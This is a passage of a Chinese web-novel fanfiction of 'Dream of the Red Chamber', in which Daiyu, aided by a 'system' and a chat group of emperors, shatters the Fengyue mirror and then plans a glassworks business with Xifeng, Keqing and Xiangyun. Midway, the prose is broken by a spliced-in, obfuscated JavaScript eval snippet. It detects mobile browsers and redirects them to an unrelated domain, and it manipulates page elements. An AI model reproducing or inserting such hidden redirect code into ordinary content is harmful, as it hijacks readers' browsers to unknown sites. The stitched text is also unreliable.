【系统：警告！系统核心逻辑遭受因果律攻击，正在紧急重启……滋……重启成功。】 【温馨提示：各位陛下，请勿提供任何形式的、超出当前历史的建议。此乃古典玄幻，非星际争霸。】 一片纷乱中，黛玉心神反倒静了下来，她明白，此刻慌乱最是无用。 【无情的垂杨柳杀手】：始皇陛下，我需最后一条线索。“镇物”有何特征？ 【政哥】：……此物，能映荣华，亦能映枯骨。以世人欲念为食，许人虚妄之诺。其本身，便是一场空梦。 荣华与枯骨，欲念与虚妄……一场空梦。 黛玉眸光一凝。 她想到了。贾府之中，正有一件东西，与此描述丝毫不差。 一件传说中害死了贾瑞，从此被严密收藏起来的禁忌之物。 风月宝鉴！ 那镜子，正面是风情美人，反面是骇人骷髅。它勾引人的欲念，终将人拖入死地。 这正是归墟子那“厌胜之术”的绝佳载体。以一个家族的兴衰荣辱为引，将“合久必分”的谶语，死死钉在这片土地上。 【系统：宿主！正是此物！风月宝鉴，据资料库分析，其材质含天外陨铁，与琅琊台地脉磁场存在超自然纠缠！锁定目标，就是它！】 “云妹妹，帮我一个忙。” 半个时辰后，蘅芜苑。 月轮未满，庭中藤萝被晚风一拂，散开幽冷的香气。 宝钗着一身蜜合色褙子，安静坐在灯下看书。听闻黛玉与湘云一同来了，心里便是一动，搁下书卷起身相迎。 二人进屋，宝钗上前拉住黛玉的手，只觉指尖冰凉。 灯影下，黛玉一张脸白得不见血色，却不是平日里那病中常有的虚白，反略略有白玉的润泽，只是冷得没有半分人气。 不等宝钗发问，黛玉便叫紫鹃守在门外，转头对宝钗道：“宝姐姐，有件急事，非你不能解，关乎性命。” 19.风月宝鉴 黛玉未说系统，也未提帝王，只将此事编了个此世之人能懂的缘由。 “我近来屡被梦魇所扰，幸得一位高人指点，说是被旧日邪物侵染了神魂，需寻一件至阴之物，以毒攻毒，方有生机。那东西，恰就在府里。” 宝钗何等心思剔透，闻言便知事关重大。她看着黛玉那双清明似秋水的眼，沉吟片刻。 “妹妹说的，可是那面……能照见骷髅的镜子？” 黛玉点头：“正是。此物想必在琏二嫂子手里。我若开口去要，她定然起疑。只有宝姐姐出面，说是为我调治病症，兴许能成。” 她这番话，真真假假，赌的是薛宝钗的气量与人心。 宝钗凝视黛玉，终是轻轻叹息：“妹妹既如此信我，我岂有推脱的道理。只是凤丫头那里……素来无利不起，怕不好说话。” “所以要给她一个无法回绝的‘利’。我那琉璃坊新得了一批‘霞光珠’，原是备着进上的。姐姐只管告诉琏二嫂子，事若成了，这批珠子头三成的利，都归她。” 宝钗眼中亮起一道光。身处危局，心神不乱，条分缕析，还能立刻想到用孔方兄去撬开王熙凤的嘴。眼前的林妹妹，早已不是那个只会临风洒泪的人了。 “好。”宝钗站起身，“我这便陪妹妹走一趟。云妹妹，劳烦你也，想个法子缠住凤丫头的脚，别让她有功夫细想。” 王熙凤院中，一派笑语。 史湘云果然不负所托，将她那“憨湘云”的本色演了个十足，拽着王熙凤的袖子问东问西。 从新打的赤金点翠簪子，说到新进府的苏绣料子，又说到谁家小厮和丫头拌了嘴，一通话下来，搅得精明强干的凤姐也头脑发胀。 内室里，宝钗温言软语，将黛玉的“病症”与“高人指点”一一说与王熙凤。 起初，王熙凤脸上还挂着一些不信。直到宝钗话锋一转，看起来无意间说起，黛玉为表谢意，愿将“霞光珠”头三成的红利相赠。 凤姐那双丹凤眼，倏地亮了。 “哎哟，我的好姐姐，快别说这话，这不成心打我的脸么！林妹妹的身子，比什么都金贵！莫说一面破镜子，就是要我的心肝，我也赶紧挖出来给她治病！” 她嘴上说得情真意切，手上动作却快，立刻扬声叫平儿去库房里翻找。 不多时，平儿便捧出一个积了灰的木匣子。 【系统：好家伙，这才是教科书级别的釜底抽薪。银子面前，凤辣子也温顺了。】 那方古朴铜镜交到黛玉手中，一股子阴寒气直钻心口。却见镜面浑浊，像蒙着一层浓雾。 【系统：能量反应剧烈！宿主，您的生命力正在被它吞噬！当前稳定值仅余一成九！】 黛玉忍着被拉扯的晕眩，向王熙凤与宝钗端正福了一礼，拿了镜子。 七星连珠之夜。 满京城的人都涌上街头，争相仰望天际奇景。夜幕之上，七颗星子缓缓连成一线。 省亲别墅正殿前的大理石台基上，夜静无人。 黛玉立在那里，一身浅紫素纱衫子，头上简净，未簪一钗一环。 风拂过，那衫子便同青丝一道扬了起来，衬得她身影飘渺，好似月下的广寒仙子，随时都会乘风归去。 她手里托着镜子，旧黄铜的边框，雕着繁复的云纹。月光洒在镜面上，那团盘踞的浓雾缓缓散去，露出的却非黛玉的绝美容颜，而是一片扭曲挣扎的混沌。 【系统：警报！抹杀程序启动！宿主因果律被强制清零！一成……半成……】 脑中似有洪钟之声，帝王们的话语已失了往日的沉稳。 【虽远必诛】：丫头，给朕撑住！ 【日月当空】：黛玉，守住本心！你是你自己，非是甚么祭品！ 黛玉对此充耳不闻，只静静看着镜中混沌。那双素来含烟笼雾的眸子，此刻清亮得紧。 她能感到，自己的过往，自己的喜怒，甚至“林黛玉”这个名字，都在被一股无形之力飞速剥离。她正在变淡，变无。 就在一切即将消散的前一瞬，她忽地笑了。 她对着镜子笑：“抹了我？你也配。” 话音未落，她眼中的清光暴涨，将全部心神凝作一点，贯向镜心。 【政哥】：就是此刻！碎了它！ “咔……” 一声脆响，紧接着，是撼天动地的巨响 风月宝鉴在她掌中炸开，迸射出的并非铜铁，而是无数张扭曲的人脸，无数段王朝更迭的虚影。一声尖啸从镜心处迸发，划过了整个大观园的夜空。 头顶的星光，似乎被这一声撕裂了，瞬间那夜空，瞧来清朗如洗。 【系统：……程序中断。因果律……重塑中……系统重启……100%……】 【系统：恭喜宿主！您已成功斩断千年因果锁！奖励：宿主与本世界因果绑定深度+500%。说人话就是，您现在是天选之女plus版，气运max！】 黛玉身子一软，险些委顿在地。 那股灭顶的危机退去，疲乏便如潮水般涌来，她垂眸，看见脚下一汪积水，清晰映出她的眉眼，乌发红唇，依旧是她。 “林姐姐！” 湘云与宝钗二人从一旁的树影里奔了出来，一左一右搀住她。 宝钗的声音发紧，颇有点后怕：“你……你可还好？” 黛玉摇了摇头，看向这两个真心为她悬着心的女子，心头一阵暖意。 她缓缓蹲下身，从满地的铜屑里，捡起一块最大的，还带着一角雕花边儿的残片。 她起身，将那残片递到宝钗眼前。 宝钗微怔。 黛玉看着她，唇边那笑意，洗尽了往日的病气疏离，眼里像落了满天星子，坦荡从容。 她说：“宝姐姐，这‘碎碎’，可还‘平’安？” 宝钗先是一愣，随即明白了这“岁岁平安”的谐音之意，更明白了这背后雨过天晴的托付。她望着黛玉眼里的诚挚，也笑了。 她伸出手，接过了那块残片。 几日后，潇湘馆的竹影，在清晨的碎光里轻轻摇动。 林黛玉斜倚着紫檀小几，手里虽捧着一卷《离骚》，那乌黑的睫毛却半晌未动，显然心思不在书上。 紫鹃正在一旁理着新得的松江府来的雪色丝绸，见了这般光景，便停了手里的活计，凑趣道。 “姑娘今儿是怎么了？这卷书捧在手里，半日也不见翻动一页，倒像是在看天书。” 黛玉将书卷搁在手边，抬眼看她：“你这小蹄子，越发会瞧人了。” 话音未落，脑中忽地一响，是那聒噪的系统又来了。 【我的好宿主，您那起子皇帝旧友，又在群里吵得揭瓦掀房了。这回是洪武爷和圣祖爷为着怎么处置贪官污吏，唾沫星子都快淹了金銮殿。武曌大帝还在里头煽风，说什么‘天下男儿皆是鼠目寸光’，真是唯恐天下不乱。】 黛玉摇摇头，阖了眼帘，神思便沉了下去。 【洪武皇帝】：咱说了，贪赃枉法的，就该剥皮拔草，叫他下辈子投胎都记着疼！ 【圣祖仁皇帝】：太祖未免过苛。如此行事，天下读书人谁还敢出仕？朕看，当以雷霆雨露，方是长久之计。 【则天大圣皇帝】：呵，男人们的见识，不出闺门半步。依朕看，要紧处在于用人，不在于杀人。且问问潇湘妃子，女儿家的见识，可比你们这些须眉透彻？ 【太宗文皇帝】：咦，媚娘何时与林家姑娘这般亲厚了？ 【始皇帝】：诸君莫要扯远了。朕倒有桩事请教。潇湘妃子前日所言的琉璃烧制之法，如今可有计较了？ 黛玉指尖轻动，几行秀楷小字便现于群中。 【潇湘妃子】：始皇陛下好记性。小女正为此事烦心，想求诸位陛下指点迷津。 【大汉世宗皇帝】：哦？林家姑娘要做买卖了？有意思。朕手头恰有一张西域进贡的方子，烧出的琉璃能映出七彩霞光。 【则天大圣皇帝】：[私信]妹妹听朕的。刘彻那方子在当年虽好，如今却也寻常。朕在大周时，曾命将作监的巧匠新研了法子，烧出的琉璃薄如蝉翼，明如秋水。 【我的好宿主，瞧瞧，武皇这是明晃晃地给您递梯子呢。这私信的小动作，啧。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328945|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>正此时，窗外忽传来清脆的笑语：“我的林妹妹可在家里？我可是眼馋你的好茶，特来讨一碗吃。” 人未至，声先闻。话音里略略有一股子泼辣劲，不是王熙凤又是谁。 帘子一挑，王熙凤果然走了进来。她今日穿了身掐金丝石榴红的窄褙子，底下是簇新的八幅湘色马面裙，行动时裙摆摇曳，愈发衬得她眉眼飞扬。 身后的秦可卿则着了浅蓝色的素纱衫子，看起来娴静温婉，淡如秋水。 凤姐儿和秦可卿，正是为着琉璃坊的事来的。 三人围着小几坐下，又细细商议了一回。黛玉掌着营造的法子和成品的品相，凤姐儿总揽银钱出入和人手调派，秦可卿则专管外头的人情走动和销路开辟。 “对了，”黛玉端起汝窑茶盏，轻轻拨了拨茶叶。 “这买卖若做起来了，我想着，不如提出一成利，专开一处女学，也好叫那些家贫的女儿家们有个读书识字的地方。” 王熙凤听了，拿帕子掩着嘴笑：“还是妹妹心善，想得周全。这可是积功德的好事，传出去，没准儿还能叫太后老人家另眼看待呢。” 【凤辣子这张嘴开了光不成？宿主，您这棋下的够深。】 黛玉只浅浅一笑，心里却与群中之人应答。 【潇湘妃子】：多谢诸位陛下指教，小女已在筹划了。 【则天大圣皇帝】：甚好！有朕当年的影子。你且记着，女子立世，第一要自己立得住。钱财是根基，人脉是枝叶，最要紧的……是叫旁人离不开你。 【太平公主】：黛玉姐姐只管放手去做！我与婉儿都给你撑腰！ 【始皇帝】：哼，区区商贾事，也值得这般费心。 【洪武皇帝】：你就嘴硬罢！方才也不知是谁，私下里问人家姑娘，要不要前朝的青铜冶炼图谱？ 群里顿时笑闹起来。 送走了王熙凤和秦可卿，黛玉立在窗前，静看庭中翠竹。 “紫鹃，”她忽然开口，“你去请史家妹妹过来，就说我有要事与她商议。” 【哦？史大姑娘要上场了？我猜猜，您这是要拉她入伙？】 黛玉唇边凝了笑意：“湘云看着憨直，史家几代侯爷的人情网，可不是玩的。再则……” 【再则什么？】 “我应过她，要带着她一处。那丫头心里干净，在京城世家圈子这吞人的地方，总要有人护着才好。” 【啧，护短的潇湘妃子。我怎么闻见一股子酸甜信儿？】 黛玉懒得理它。 正说着，院外便传来史湘云独有的爽朗笑声：“林姐姐！你寻我来，可是又得了什么新诗作？” 黛玉转身，那笑意便在唇边化开。 窗外，一只喜鹊落在竹梢，啾啾叫了两声，振翅飞远了。 人影一闪，史湘云已旋风般地卷了进来，手里还捏着半块桂花糖蒸新糕。“林姐姐，你找我……咦？” 她步子一顿，四下里嗅了嗅：“这是什么香？好生别致，倒像是……梦里闻过的味儿。” 【糟了，这史大姑娘的鼻子也太灵了些！这可是上官婉儿亲制的‘梦回长安’，在这世界，可是独一份的香！】 黛玉神色如常，只悠悠然道：“才得的新方子，现只有这一小份。妹妹若是喜欢，回头再得了，打发人送一匣子给你。” “就知道林姐姐最好！”湘云大喇喇地挨着黛玉坐下，毫无仪态地啃着糕，口齿不清地问：“姐姐叫我来，总不是单为着送香罢？” 黛玉正拿着一把小巧的泥金紫砂壶，往一只汝窑天青小杯里蓄水。茶汤浅碧，热气氤氲。 她抬眼，视线落在湘云鼓起的腮帮上。 “一块糕堵不住你的嘴。说吧，你们府里最近有什么响动？” 湘云一怔，连忙将嘴里的糕咽下，还噎了一下，端起茶盏饮了一口才顺过气来。 “姐姐怎么知道的？昨儿叔叔还真说了几句没头没尾的话，只说什么风雨欲来，叫我在府里千万仔细，别去外头生事。” 【哦豁，戏肉来了！史家那站队技能拉满的老狐狸，这是闻着味儿了？】